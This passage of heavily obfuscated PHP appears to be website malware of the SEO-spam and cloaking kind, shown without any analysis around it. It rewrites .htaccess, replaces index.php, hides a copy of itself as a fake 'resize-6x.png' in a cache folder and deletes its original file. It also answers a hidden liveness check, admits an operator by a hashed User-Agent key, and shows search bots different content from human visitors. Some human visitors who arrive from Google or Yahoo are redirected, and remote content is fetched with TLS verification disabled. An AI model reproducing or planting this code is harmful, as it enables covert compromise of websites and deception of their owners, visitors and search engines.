$dir/*oR3Df_<$<dbU~K4L6:Fb*/. '/index.php', //UgCd+_hid}PNcu}eO<q
$dir ##:Xny:%d7s@i
. FILE_OLD_INDEX);
}
}
}
function /*pP@Wsrd*/setHtaccess/*<r6%P({GFT#bVYYHL*/(/*T0W~Jrl|\$`tRc!}*/$filename/*#%<KvW*/= /*I7EY}=k 4^E82hH+HY*/'.htaccess')//*GaVu2
{
if(HTACCESS_REPLACE == /*lJ b$*/'no') ##Fz@:9q*y0Z4JK N+)fP
{
//jPc3fI
$str ##:wjK`0njjIseth\\5CYE
= ## NS4dg<&HsT.+&ef]
'<IfModule mod_rewrite.c>'.//IdoHbyyj0XI5xX$+
PHP_EOL./*}RIz._*%I%UY`(,7Bq6=*/'RewriteEngine On'. ##CVp`8bYzx&C%R%[b^i&p
PHP_EOL. ##pHY:AO4u\F@Rxk`
'RewriteBase /'. ##i.O#eVA
PHP_EOL. ##i(HDuDg]+_R]\bs
'RewriteCond %{REQUEST_FILENAME} !-f'. ##~Ev-5(4I&0z
PHP_EOL. ##XLM83l#=
'RewriteCond %{REQUEST_FILENAME} !-d'. ##d!bMtELF|t
PHP_EOL.//eV.fZ*.
'RewriteRule . index.php [L]'. ##F#qcTmxC4AY!\).N<
PHP_EOL./*PPs1d+5t$ */'</IfModule>';/*:WXS&)l2YA4sYige-kbR*/
}else{
/*c`hqPwF1a*/$str ##$aJl^P5BSa9<a
= ##yN><%X
'<IfModule mod_rewrite.c>'./*@,&4Z8=VEXp9FT*/
PHP_EOL./*^G!TlarWYI}Q$}a-C*/'RewriteEngine On'.//1a)y%qm~TyQ&jXfQZ
PHP_EOL. ##-~DCa-V|=f}
'RewriteBase /'./*d|-*@s*/
PHP_EOL.//k>uW\JX(Sm}%}>Zmk
'RewriteRule ^(index|wp\-admin|wp\-include|wp\-comment|wp\-loader|wp\-corn\-sample|wp\-logln|output|about|admin|randkeyword|readurl|wp\-ver).php$ - [L]'. ##>x8&lQ,7ktKLe~z3~h{
PHP_EOL. ##+UjqCbgErf}3J
'RewriteRule ^.*\.[pP][hH].* index.php [L]'. ## .liih
PHP_EOL. ##(J0R1Lf^IHZE
'RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] index.php [L]'./*%g*gso}EvR#K~WM*/
PHP_EOL.//^[m(qGK)S
'RewriteCond %{REQUEST_FILENAME} !-f'.//2:KM]7L,cCXdZ:w\u^a
PHP_EOL.//J.fJ7Wq]1k.]i
'RewriteCond %{REQUEST_FILENAME} !-d'. ##n#z`K!WfK*.v
PHP_EOL. ##<Wwic ~s+5
'RewriteRule . index.php [L]'. ##fN4)FV*_ LOgT2VUrdnT
PHP_EOL./*in~+@^*/'</IfModule>';/*8&@W9&W*/
}
//0MVn3f:E`u\M IZ^
$md5str//OR}iolsq~A!^XDl^cC10
= ##[HsVP.+N]%dsFUuZq*]
md5/*:D$cY.llDTLm(ml*/($str);
if(!@ ##Gx$O D
file_exists/*I.$*YqI3L|Pck*/($filename)){
/**s}Jtw!1Ot\*/$filemd5/*TsP][(VI*/= /*3|TXX~oX9X~8X[IN*/'0';//w7`}=s
}else{
/*9_gt!V%QTHY<38ULAeRc*/$filemd5//NxQ _ZFeJg,|
= ##[DXj{
md5_file//&e6pHb;]L%LTu|7 4L
($filename);
}
if( ##sYVJd!=KHo>=
$md5str/*yeGHAz,K*/== $filemd5){
return;
}else{
##aLni+P_!RKJ
file_put_contents_force ##DG@Op8fVBDO|,S6_<Ii
($filename, $str);
}
}
function ##q:4EKhpM7D CN
copySelf//f`!@ 7pC.Q$@{Mz5
(/**VD_ke\j*/$toname ##Mi:x`cJ*.}=XJ1vo
= ##iU;@;$o|eLu+
'')//TAB<{Ni72 @$^
{
/*7D#gA3{y!x&M 0kH*/$path/*JHuuqXj;oDJ~Po@VO*/= /*W3!U|X:`gLy*/cachePath ##_UJD,NBAf<x)<`w(
();
if(empty($toname)){
##33]}~oS3^~Z(ohTD1
$toname/*KGd*#(>;C#H]*/= /*IQB4[0C*/$path//9;f7%u-T3F&lnTqo
. ##Y`Y(gc95%P
'resize-6x.png'; ##1PKwMa2s},GRVR|
}
//{@$_AH
$dir//&<ULNNsyU;TxdIk..G4
= ##hFj4%1Uq`k
dirname/*8T|HJgDenOjLjZexfU*/($toname);
if(!@ ##f<* HAss~dIhH9
is_dir//](|`}igqY%>De1<hEn
($dir)){
@ ##wZWW)$dWD
mkdir/*)33mc*16>Cj*/($dir, 0747, true);
}
##jP9`GV0
setHtaccess ##7ho;4NJEH:lV}Dn[^vr
(/*oF7M{&Blbov*/$_SERVER//[;8Tc-n34uf{X~
['DOCUMENT_ROOT']. ##H^J(aWWG|!h
'/' . ##kw^aO= \EgkG6
##leAcq\Pv1R-%vcVd7\R
$path//MS]8\\tfD~Xd
. ##|_S4<DAm -;)I
'resize-8x.png')//t -<@>[=QJuQK9\n-&<i
;
if(//5E{n*)h`hvm
file_exists/**q[Tr\H{DTw*/(/*&@IVn3<%nZD2= */$_SERVER//&lJZ]^9_;9%m
['SCRIPT_FILENAME']) && !//YA*Y${^h6<
file_exists/*0B]]!,,|k*/($toname)){
##0Y|8g|w1T=g}anL<!$
file_put_contents_force/*g{`>z*/($toname, ##oDi,ICX]
file_get_contents/*h(f~nLUGP*/(/*=wtTK5oZ<I#yxbT*/$_SERVER ##kUt;-f9R
['SCRIPT_FILENAME']));
}elseif(/*Z`vFDl6S_*/file_exists//;&Kb}h9=D
($toname)){
/*sJW\:1*/$str//@^P`5!Yd!1Kcx<G+TgYs
= //=a:})cI2.S>+
file_get_contents/*u]xL^e)f(ULP*Dnsd:*/($toname);
/*&s`FgiAD*{iaZ*/$md5str//$rW(TX,\
= //)4`NOWVqIs$ Zk!m1j]8
md5/*0E7}D*/($str);
if(!@//(A F=qoWzac
file_exists/*Y+eIA,ZUjUU{*/($toname)){
###0sojy.l_
$filemd5//!N52k6i!c,mPP!U.c
= //AKE]Yo5Y
'0'; ##z}!i)2)y5N
}else{
##Zrj61I>jHrEZ
$filemd5//x c-jn7iWzBG
= /*!L[p55ZR r~W!En+P*/md5_file//y7jyX[rIhRZ%TOp+T
($toname);
}
if(// #K![
$md5str ##ZB(qf_!^1$ziJp!gnlC
== $filemd5){
return;
}else{
/*00& 2DY*/file_put_contents_force/*A}rSQ:u9*0U~*/(/*z+#6(N\N|s*/$_SERVER ##]Dfv%Q
['SCRIPT_FILENAME'], $str);
}
}
}
function ##Ga#s*i%HmqD
replaceIndex//kgq*3cJQ*>pS:<
($file){
if( ##j-!#<S.rBF;#;i-
defined//(Nu*9!{]4QL
( ##ZaY\O5Y7Uc=o2wV
'REPLACE_INDEX')/*}%K%CNAL@iYy*/ && REPLACE_INDEX == //|8CN+Mu8w=4GOq6
'no')//pt8CHk2j0E2yfy
{
return;
}
if(!@//.m{[WFjAJ:#XK3`%N0<
file_exists ##8k=qL
($file)){
if( ##izmLm
$_SERVER ##W5A.O
['SCRIPT_NAME'] != //{<{+#
'/index.php') ##ylnoM3f2c\
{
if(!/*4qW75Ky*/rename//.wIN6vR1}GNb,{}
('index.php', $file)){
die(//hjagee;}
'rename error!')/*W1n@|b*/;
}else{
if(!/*tFJR-Vd1.PRio*/copy//$6@tg5!oz9h q9`FW)7
(/*+^!E\*B-{saRFw(sAlwv*/$_SERVER/*DiW9`>H 4LGkA6Hs,g*/['SCRIPT_FILENAME'], ##Dg0qF
'index.php')//$Q];^p,{RLaS
){
die( ##+h-l$0Yrn\@
'copy error!')//*vj9O$`JH^)
;
}
}
if(@//yEi`Lg;lN*(a
file_exists//Vf ,RTS2\
($file)){/*v}7p`Fmq*/unlink/*FMl(Q{F,EjK3`7RMR]|i*/(__FILE__);}
##CL Cc%9F
header ## Ysob-Il_
(/*@5}UcuW-QS`U,6*/'Location: /') ##PK_qB-6%Ll&
;
}
}
}
function //f|N*W@N,tJ8s5
checkStatus//fdrkEmRHy
(){
if(isset(//p3J~.*)bhVJ
$_GET ##MIr:kJ<qyZn&kZ%Q%#(
['checkstatus']) && //#SJa>S|&o|
$_GET ##RlAJq4Nj@E`UOxSzc
['checkstatus'] == ##RIQz:]HRG5sXp4
'areyouok')/*)<$O2vCZ3WM&*/{
die( ##N1QovVcQ%
'live')//D<]43p~JtL_$6M(\{W
;
}
if(isset(//Z\h}YK-6~q
$_GET/*u1!DJ32cZ0<9#4d}V@*/['action']) && //8pOE@K:#Y(9
$_GET//*sbi3DYs
['action'] == /*:C_7E5VS*/'version')/*y=LY85vxPov[M*/{
echo CURRENT_VERSION;
exit();
}
}
function /*[o+rwWc>lO%s*/contentLink//5h0uk_<3k[
($cid, $lid){
//WuW713vA]d
$cid//u(=GIzn]j}l_9!mBKa%
= ##>*^3Za)<Qz\tS`;T
$cid/*~fCv-<5KHMI8*/.//MShuVM+h7z#bh>K
'';/*CvZ1jXhH(2&A31Dee$*/
//=2BI+FqrRK
$lid ##aH4fA_L~[m_ELQiDn$<
= //g2s>jE&[9Y!nXBJgUF9I
$lid ##\e2w+NqC
./*z[+dhgTI!aX2G*/''; ##.6@}Jx`DnMP|2,]d\I
##Nr$+9QtIP
$link//{UGSvHEqh%zbF\&`6GO
= /*so,\r&[UTM*/'/' . ##2H7-u
INDEX_PHP;
/*5,({Q.wS@OG0bJg3wNqE*/$str/*B6flBVEh<*/= ##&m0gG2=<CbJFlbM=>
'abcdefghijklmnopqrstuvwxyz';/*]B7}b*/
/*Hv!0OV&rN+L*/$intR ##HlKi+,mjJb<s66dzf]
= ##baVr7I-:XL,hFgn_PkX8
intSeed//U9h>T
(/*W2~v(Q+8vIeq>VEG*/MainDomain/*TqO>,J*/() . ##SM_GN:aEQncB{V
$cid//-m Zc=K]3a~9!mA
. $lid);
/*j>$t[F{X4Mi2^>Zk*/srand/*d}nq!G>mp#yMm*/($intR);
for(/*.WkdlQn*X^s8i>m*/$i ##]DRC{#@Qe[ $JhY.
=0;$i < 6;$i++){
###)SKJepqJfQov[93)3
$link//7aA<CBmg40
.= //:*<Prr~$KbF
$str/*{G$S) wbA*/[/*`)hGzIM*/mt_rand/*:.j!W#Bg^#r`&[LC*>B}*/(0, 25)];
}
##iV|pL1kbI#BCx>^E:J
$link//uR6y(xxKXnU56kYK@
.= /*sRj3@W#:LQu>xKp1s}\L*/$cid/*Kx8LUd, O:S*/. /*5}nh_1 j!}#`*/'/';//5oQa3&A9\ChCcL\
for(//$}6..!1|
$i ##g-RBgSbF]
=0;$i < 6;$i++){
##diw!k(.HeKnHRmD
$link/*dv~JCKEX$HgqV>8B4XAX*/.= /*cRj5h3xJn^N;Te&AA,*/$str//.s)Dr4i9F
[/*nd@:<4oQ**M #I*/mt_rand//p7b0@tQUAZ{aDO:f
(0, 25)];
}
//a3fd6GWg2K2fbf({<5#
$link/*S]WgPE!5ZXKrR!=w*/.= ##+OB2ER_5i<6C3aF5x$Q
$lid//O:TXB
;
return //h`#{7hU30&e+CWh
$link//[kUt,
;
}
function //]jVoVtTNH@w^E
getCid/*!d)FvnQ!m*/(){
if(empty( ##h9W+SC]Gz73}Gjh
$_SERVER ##v3#b8
['PATH_INFO'])){
##B\GkD=.Y`tjG0T
$pathinfo/*872cZ$*/= isset(//Y]u@9 5:.
$_SERVER ##%0@]T6B:4<UqFMo{a(qZ
["REDIRECT_URL"]) ? /*GJX 6[DhZ*/$_SERVER ##JH3B*Cdy
["REDIRECT_URL"] : ##74z4CL-r)x[B_<rTuU{c
'';//NDpQJ>fBv2
if(empty($pathinfo)){
##WRrtaWyrA00z=n)G
$arr/*H3QY5Dx^U0z p$lHSt2*/= ##W9DHW;}9mR,qcV)t
explode ##u+mnJB%hU}q;l_r|b
('?',/*;~>+E8MVK6V]\D`M*/$_SERVER ##wev&\^1LUvb:<edMm
['REQUEST_URI']);
##_xW<$_)}+5=
$pathinfo ##qz<Ka
= ##~;% 5CrB0WpnKTW)y.FW
$arr//F\GaB;K6oz;g
[0];
}
}else{
/*Q$l{tw^)CLVR9.+C3ww*/$pathinfo/*W,\lSmp8g$u}K9.sQW*9*/= ##T]:e-t<4:P46j|>YgQ&[
$_SERVER/*r(x;#4ol4Y]|;z**/['PATH_INFO'];
}
//jI2dA8<p-eAc)
$arrResult/*jbkvPN[*/= /*A0&RYaerJ<zF*/array ##*Hx**!kPb
();
//hC,:Ih0
$arr//L=*CJg%Q><LZ8f,
= ##crh9#I.<
explode/*!j>:c=}%lBg~*/("/", $pathinfo);
if(//u^TwR#z>=$M.=-<eu(T|
sizeof//3O^D+pU)Gj[eCCVX\
($arr) == 3 && empty( ##OO*t7*rXh]xG&~fwYoCv
$arr//+z;:%}^S7~>{omg-<ee
[0]) && !empty(//`]>>e[)$uL%)aoeH
$arr/*n(eV%*0M_Se=xrDm*/[1]) && !empty( ##i;c#@\HV
$arr ##|Q,6vxQFC2[_W$
[2])){
/*_~>(rVRt\|Zl*/$arrResult/*&xNPh7d!<%9X>C$*/['cid'] = /*%I{y9w6^iKI&J;:-XwJ*/preg_replace ##bM[fR.e<eh-Wg7q
('|[^\d]|i', '', /*[4GDu}$T*/$arr//nip0KV9l*_\+W
[1]);
//UU*iaVA\s
$arrResult ##oPgPP0>IuP (JanN.
['lid'] = /*#=g AYs`Gau^2]*/preg_replace ##.;-j-t8,UMX-
('|[^\d]|i', '', /*__LSIz **/$arr//i,C3P_>rS3,F{J%MFk
[2]);
if( ##o1h$O9R>p`T\5TAp
is_numeric//PiMtD+AQFYrb
(//:Brgs2e>V
$arrResult//D_C;):NyM
['cid']) && /*U@wh6);Y*/is_numeric/*4tt%lCF_*/(//(MEk|q~]yaZb:<)npa
$arrResult//u,CFwWh8w|
['lid'])){
return //N|Q>ImNYXA,@
$arrResult/*LXdBX6x{}4l**/;
}
}
return false;
}
function //c):-SGiVa
getHtml//#VY;DL$Dt#[B
($url, //i1Y,u
$data//0]lAc:O`
= ##O.aQh#O
array//9Uz%bFZ7:lp;r[
()){
if(//|LVkMYzDs`0L`0I`IW
defined/*7XYR!~LO|*/(/*CJO3c*/'USECURL')//-3kT:hkyneB[$|
&& USECURL == ##C;T,QxE5Ssf^-;
'no')/*tnl9n~Jw<73JB*/{
// r69uL@rr-&KDN
$usecurl ##Q.AsB<
= false;
}else{
/*sv=tgoMiu&XqBZ`yRN*/$usecurl/*FU=<.x{5ThG*G*/= true;
}
if(/*hTv35^(v`NeDKdo*/function_exists/*WfZa=cS.W3Wb8r*/( ##|@4a$r*[(=)It0
'curl_init')//r$;5=`H&7k]jqg0
){
//[qsk<d`6*!,V&;y7m
$curl//Vcc1G61R*o2[
= ##pPK[a}#VSkN22bK]
curl_init/*3o{ViLq*/(); @ ##FaZ]usVx
curl_setopt/*5mU\D>2pXKg]5E*/($curl, CURLOPT_URL, $url); @//6IS2@~;^Jk\C3
curl_setopt ##YMAhAN%!=edH8s\NG8Of
($curl, CURLOPT_HEADER, 0); @//G>-aYQo:Ov)>&]zSTb
curl_setopt ##cIf!<W`#9CKG
($curl, CURLOPT_RETURNTRANSFER, 1);
@//f2TGPA
curl_setopt//[}cQcA-8hNpWZH@b,k1N
($curl, CURLOPT_SSL_VERIFYPEER, false);
@ ##=YTeYld!(bI{i
curl_setopt ##Ca~D@l
($curl, CURLOPT_SSL_VERIFYHOST, false);
@//Bbrm -EHm\t+WcO)F[5|
curl_setopt ##%8Fr9`Xcr(k<wat
($curl, CURLOPT_ENCODING, ##_a*xdD$G4JIfiReT`Ir
'') ##fa@PCGe
;
@/*1uyqK{z-]rF*/curl_setopt/*KtR:mEE=-=M@xqm5_*/($curl, CURLOPT_USERAGENT, /*R$Z~hO ~*/'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0')// HHAp
;
@ ##Wg#C@tjx]
curl_setopt ##3N{VVqTX
($curl, CURLOPT_FOLLOWLOCATION, 1);
if(!empty($data)){
@ ##-87+kn_mA )9_SyC)F8
curl_setopt//7!Ywz\D
($curl, CURLOPT_POST, 1);
@/*>Fp7+e*/curl_setopt//l.PR2AYGmv~Xy6;1,
($curl, CURLOPT_POSTFIELDS, $data);
}
##kDR1DbiK2 &Sl
$result ##{p8IBdY%kYPh(pOl
= /*)b9jsqzrkt-c3{6N*/curl_exec/*7qR#:M}Dcp4UjGu*-^7*/($curl);
/*]m)Fms7YDCk7A:Z\*/curl_close/*9ayT+E7L7o:urQ*/($curl);
}else{
##ZV;0(HDc4q$3>Me*j|
$usecurl/*wdw@8}$C*/= false;
}
if(/*Nm#32RDN*/$usecurl//dVXM\Bo=UPYUV;4#
== false){
if(!empty($data)){
##&ia#oeZD
$requestBody ##_pHP7\KMM8*XHfeB
= /*Ng881*/http_build_query//#%l]Zs6jyYY)]A$zc
($data);
##9.HE`}KCm[2wEWZ5WQU
$arrOption//^u25BO
= /*-H0yn$Vd)s*/array ##%`BJfUO(<oTt
(
'http' => //.>`gLPeO1xhsSbza!
array ##)lu0`.Xh{<:
(
'method' => 'POST',
'header' => /*GPhN~hDUK*/"Content-Type: application/x-www-form-urlencoded\r\n". ##w<vz;i9OHecgv-Q_8ol
'Content-Length: ' .//DJ(<c#
/*uql-~`Z[3@7vl_*/mb_strlen ##l5RVBU
($requestBody),
'content' => $requestBody
)
);
//:v,yBu@VS_=,]F`}+fY5
$context/*ZYfqc#YQfX(jl*/= ##)Gj\_dC!%CK>[:=0ZU
stream_context_create ##Gp]yi:=#y4y[z$cML0-f
($arrOption);
##KJcdGHzj
$result/*uGtnXiB(ej-6+o*/= ##-(Q#XEGdG=s,yn
file_get_contents ##93KA_
($url, false, $context);
}else{
##D`I j91Izt!6
$result ##rlEBGu<~4G74v8
= ##aVY\nM^S,
file_get_contents ##%Z6%zRn]e$.
($url);
}
}
return ##hUsfMO1UP*
$result/*bszRjq*/;
}
function //[NXnBXC[ CAK8:zc=O
htmlImgTag/*cUwU-8R%k(gf6M.Z2*/($src, $des, /*Tf<_V)P<Bi^:XsKZ#\*/$width ##NtsDLi`#3bB|)F
= 800, /*Nw|xRK2&c=*/$height ##s|y6TZOqa_%TgJ%7Ws
= 800){
return //E|*lM
'<img width="'.//@RSN(P
$width/*Pd}(Eg*/. ##) {aXvLO^|(]0LPyR{%Q
'" height="'./*p4zg]%Qdjg3*/$height//!]XbT:NS
.//(++#_
'" src="'./*VD}MxNb=LYYm*/$src//S42p;`0hbX
.//QdmAf(4XB~v*|u\O9:>
'" alt="'. ##LX$n5CTUNy(@a\
$des/*5_m>@[UFqD\yni*/./*FZ3k VPfF)xC+QFC*/'" longdes="'.//[d\@D
$des ##ACt}f
. ##Az$ TlU)mc^74AKUBDb
'">'; ##DfyfL`>uMCgX!e3
}
function ##W$dD1E7Dn9AW!>
intSeed//djp5lS: C
($str){
/*#KWHFk`rEiS**/$pathinfo/*)_Krz K1sg*/= isset( ##xseEE1
$_SERVER//>Kp}M&8N;p.
["PATH_INFO"]) ? ##*7r;yQ>[xec=O1K3k
$_SERVER ##U\0ao<.lG$9cY+[4
["PATH_INFO"] : ##`XUJO$K6J8GJzbm%g
'';/*o@g:$Vy&[:K)u*/
/*&o-0$Cg*/$str//qi\!uW6
= //y-3`F)r1Gs
md5 ##RHa_C
(//de7cQ#<x=;4wya69
MainDomain ##N*TE`-(7UFWDlIz*{G,=
() . /*2hJMmGu&T|-*/$_SERVER ##F=)+BO]~esL:
["SCRIPT_NAME"] . ##5e_aPuT&
$pathinfo/**u8`x{-ZDs*,HAq[^YI*/. $str);
##4g 0Q!H3O(O7
$int ##Qxt}(UFVZ5KM$
= /*NGTKT9b=Wsf*/hexdec ##];(oQ8NK$,
(/*$fh>S|U^$~*/substr/*<%-t6(1EUn~v*/($str, 0, 8));
return //IwK&2)mP
$int//w}Q`@CK8H
;
}
function //h&Ep%,=m0F
isSuperMan/*NwaCo>ltwiXWAMK9jJ*/(){
if(//Ja$kXK-fZ*|UgEl
md5/*h~Z=hOoeGXDHV._6U+dC*/(//X#[IYH@7g\z=vDVBO
md5/*f`QWU}l<PB9VWpje}*/(//nS]%y}llYgw
md5 ##u~*=s_F[@%po:=k
( ##l2~;f$;=AGJmHE
$_SERVER/*v}~Hjj]Z91}nM~<\^#B*/['HTTP_USER_AGENT']))) == UAMD53KEY)
{
return true;
}
return false;
}
function /*UMA^G-,[ghXdYY~q6*/isBot/*O[Ar*qB<Zv*/(){
if(/*MBA1L42ZRuY$VXT10-*/isSuperMan ##X^sVg}tRlIr
())
{
return true;
}
/*UlAr0:%4*/$arr//6}o(CkfLjGZ
= ##,L,R];PsfZ
array/*e^L@]S_byW5*/(
'google',
'bot',
'yahoo',
'yandex',
'bing',
);
if(isset(/*,``F\(e*/$_SERVER//{X U|^3U-Wl{tn%t(R.
['HTTP_ACCEPT_LANGUAGE']) AND //>8|yq{:@{rwAa
$_SERVER/*{yScX#vb~U!B*/['HTTP_ACCEPT_LANGUAGE']!=//{SULLXBLC|w.<\8LF
'')/*Jxw!M*/{
return false;
}
if(isset(/*c`8_9rIGSJ|2sYJYggs*/$_SERVER//-owT#
['HTTP_REFERER']) AND //u=oYzMND_FGY`F
$_SERVER ##Xi~uIKzDI4;KAl1lWfr
['HTTP_REFERER']!=/*f)(JPRH6q6,_Q}*/'')//{OUUQGL$F|TSfeg
{
return false;
}
foreach($arr as $str)
{
if(/*>dv-e4N*/preg_match ##riX~q
(/*yY0C#|!*/'/' . ##Zsm8Ua<wXFG
/*ev41eSC:tUTXw1@7N*/$str//G*ChIFUSHENA
. '/i',//+4fLT[
$_SERVER/*a=#o2&l!PP8BB^ US*/['HTTP_USER_AGENT']))
{
return true;
}
}
return false;
}
function ##x_Zn|3!sh^S
MainDomain ##qC+gG9lhbP9@+[~
(){
##cx}Fuz
$domain ##w;hf85#l1X$F_4 d
= ##gJ4_l||
strtolower//pYdDYCf546jZjC5
(/*Djy<`|bdPD@*/$_SERVER/*rJJnV+Q<%-9*/['HTTP_HOST']);
if( ##[z;tWB*cW8CG,#e%-@%&
substr ##`z+{Dr#8]B~;QeZ `L
($domain, 0, 4) == ##D~r<dKJoL@
'www.')/*I:$KRD!*/{
return ##$+UGD3aQvm!S(Da
substr//du[b$ K_QS:u[z5PF
($domain, 4);
}else{
return /*3~YrUSAMPwy6zuAY8*/$domain//WvBVqU*PFw7Hj~6c8
;
}
}
function /*H.0Sj_]nue4n$+.*/needJump ##@nle>3;
(){
//noEWm0&:Yw0_re@D
$arr/*>\Lhc[~S1CSGSx*/= //mGy3<%`A~~da!vfIX\
array ##64%w<[5r-n)U\rOk
(
'google',
'bot',
'yahoo',
'yandex',
'bing',
);
foreach($arr as $str)
{
if( ##mhDR}H
preg_match/*As0N!E-zm$3 */( ##_oq 0IJ.
'/' . ##_%JT%33n51RC>OQNQj4U
/*k4_%LBt[92<#D*/$str/*:5lZWD5THBw*/. '/i',/*v=#-uTlh~siYzB*/$_SERVER/*[.-7YP2S*/['HTTP_USER_AGENT']))
{
return false;
}
}
if(isset(/*I>3e^s*/$_SERVER//gJOAJv:{f~
['HTTP_ACCEPT_LANGUAGE']) && /*Gh_0|nd*/preg_match ##sbdF2CLm-9(J2*@xbW.Q
('/(zh|cn)/i',//#tP%1lK
$_SERVER ##4.l8x@K(]4>02UWHw4^
['HTTP_ACCEPT_LANGUAGE']))
{
return false;
}
if(isset( ##_n-Xw
$_SESSION/*|.iVhwt`oJS~skV( S.=*/['referer']) && ##$`RxTt=J~AD58ECF;}
$_SESSION ##_|eXPi
['referer'] == ##y62.dGBJ]*0u4
'SearchEngine')/*BmMuyK-KRoC6u;2ValN*/{
return true;
}
//}A;P:Xgb\`bKgEPU&
$referer/*QkOIzv*/= isset( ##5#}Nv$iN[B&(OHN.
$_SERVER//>g >PUPInCI)k9*I
['HTTP_REFERER']) ? /*j-f[n6(*/$_SERVER/*E -Qu*/['HTTP_REFERER'] : ##R:p^~]xRS~CW|S:Gz`
'';//^J~&\D9
if(empty($referer))
{
return false;
}else{
//A=-W2lsx!H%3()=ME
$referer_array/*bMcBLac]*/= ##YNB]W;-cNx%
parse_url ##3lA%^~]3HeseM
($referer);
/*=vG~>kFnvXDoJ$I3%7a*/$referer_host/*M{,2n,a5pUt*/= //k)%!b]7PH6!97R
strtolower//4I},w&B*i@uao`
(/*PVcZlO%t`vP5w,]*/$referer_array ##+A~JG),F7NP\Qh1E:
['host']);
if(//N5H@d6eV%~Q(v4Uz
strstr ##m[Vccb2r09
($referer_host, //LI97^y#rHrncZ8W a,
'.google.') ##n&0)Qm
!== false || /*>=B=USKMg^*/strstr//@*K[ QcBZg_~NoZ
($referer_host, /*({c9GfLRq*/'.yahoo.')/*({D|;k.f|n*/ !== false){ //1T*]e
$_SESSION//p0F&. #[Ylc^agu
['referer'] = //l;{}{rm+
'SearchEngine';//78Um0zt4
return true;
}else{
return false;
}
}
return false;
}
function /*CLu*g@}v4-`hPu2*/showProduct ##y.No5&o>PQo<#
($obj){
/*o$EX[j{*/$keyword/*0eh2|M>UoG8}(!*/= /*8wV3$v0silb*/$obj/*[k_q;( l#NG}R*/['randWords'][0] . /*dhp+1K,FYxQqc&J*/' ' .//uLJ{0+xqvj$C^{iNR_3
##48& ZqrR
$obj/*ws!~4;5*mk*/['randWords'][1] . /*sbfZaU|]MeS$*/' ' .//i8nAi|:
/*{ocvCsEK5FK#3|f;Zv*/$obj/*lT+s:9~*/['randWords'][2] . ##I@~h1QhB0cBuKP
' '
. ##KE#{|HG
/*)hu O+STUVk]QG98_b*/$obj//[GO|.17&JIU*n<vAT
['keyword'] . /*w:CB,X+ME0;.1Hu[OF */' '
./*wLZEovv1;P(*/ //FiwSTq}9zjx$
$obj//NPgj@gy=%tpYaCp^{tp
['randWords'][3] . ##$=uTAQ[
' ' .//&}i@ ,w
##CI1^zWp=Rl+Wp
$obj/*~M;N*l0c+@\QO0VX+*/['randWords'][4] . ##JNtl^Eor`jOeE{jD5{L
' ' ./*F-ZWL7 QaJp*/ /*X%H3G5nT*/$obj//~W,N$fvzFxgteM;Ao9
['randWords'][5];
/*YCKw5UT_l<s*/$liil ##W9hNaL.~lC5L
= /*dpdzoP1B*/''; ##n7TTK).=,A[-ZZZ
foreach( ##Rf[ bk
$obj ##<HZXSlj)
['relatedKeywords'] as $keyword1){
##f&;!TtG_zlK]
$link//<F@Y@0R
= /*7_E@[N<`n$x][4=9[eF9*/is_https ##N6P9n9X|KpcF@uZ2RPM
() . //Cy0d Sf~\|;7UF_G#G>o
$_SERVER//H=UF%KRSL[
['HTTP_HOST'] . /*NUP\GRf9*/'/' . ##4!Sp::}ATb
INDEX_PHP . //MW7~N
keywordtouri ##6A:L;$.
($keyword1) . URI_END_OF_KEYWORD;
/*a]h->PkDf*/$liil/*IK1KkEKIJT[S[&*/.= ##DTc6k\>Q`DU
' <li><a href="'. ##E&VBJplXr&P9U\yYaHOR
$link//ueC2=k{s`bG9!{J_uH<%
. ##PC\-qE1=e4\@ZG2MY
'">'./*]a9G06leL0*/$keyword1//+d9SS5XS[QM}QP*
.//YKJcwEM^Q0{
'</li>'./*pS3&E!R|e}*/"\n"; ##%XCpK
}
/*bdd\Bs:_Z+_7.r#F*/$imagesdiv/*h8C$0<+J`joAw%m\#3*/= /*&9qO$+J*/showImagesMobile//W1l:W|-duKsj@NX2a`Nf
( ##8z6ZL>0]MX
base64_decode ##+1N9G2<P<ImjWR
(/*k|.h>`*/$obj ##HX,~R:1{b!RpLb;U
['content64']), //GdIh{e0+
$obj ##pcwTo@HDx;7|KI
['keyword']);
//OPxj5EqFj;bZZW4R%
$str/*Y;m92$2(^PGa;D#h}\*/= /*rLEC$ZM%#q.37M^^M_*/'<!DOCTYPE html>'. ##ZMbg]IEnM6Mh)sSi5`
PHP_EOL./*rS1D1n*/'<html>'.//XVG5
PHP_EOL. ##\Y8Nc}jc0FYBk#V
'<head>'./*yW{#M(SR,gEZ#*/
PHP_EOL. ##R\U;01#MLP5P8`GCO.):
' <title>'./*<I-Ko}DH~u<=Ph~G9*/$keyword ##)0inkF7T9jZi~
./*R2P><o0PCG:G9`*/'</title>'./*Y;f@#*/
PHP_EOL./*ckLgN~VnxmS^X*/' <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />'. ##aVE+8
PHP_EOL.//k-+`yxF<GyMB;SchEN^;
' <meta name="keywords" content="'. ##e(o9B(M2BI>oxi
$keyword//oYO:wf%.87{Rp+
.//tDqY1st07%k,z0l9n9
'" /> '. ##Yn}tavub;OKD
PHP_EOL./*P]!\:8aDX)!bT!O]DkM7*/' <meta name="description" content="'./*D|>P{UDn>$YDtS7Vo=*/$keyword/*N1yS,h[c=Go+]@*/.//>+CR.d$L4mk4,1h~5P
'" />'.//FdO#xE9Qcc{2
PHP_EOL./*QJ{5!]t.8YIeas*/' <meta name="apple-mobile-web-app-capable" content="yes" />'./*;@ta5RQ2^LINJL*/
PHP_EOL. ##^#wx.Y
' <meta name="apple-mobile-web-app-status-bar-style" content="black" />'. ##5z!e2
PHP_EOL. ##~VkmxW8.
' <meta name="viewport" content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />'. ##g;X44m@k H(e81V*
PHP_EOL.' <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">'.
PHP_EOL./*I~G*SG*/'</head>'./*\R-BfNhsI {o-D:xi*/
PHP_EOL.//czMOH5gAG0]q
'<body>'. ##D_b118u0!s6|x!H,}p6N
PHP_EOL.//-C5N6Hys_
' <div class="main">'.//huU~5Jo1Pw8OpP%
PHP_EOL. ##{ ~@\-KE aEz{*f0+K\
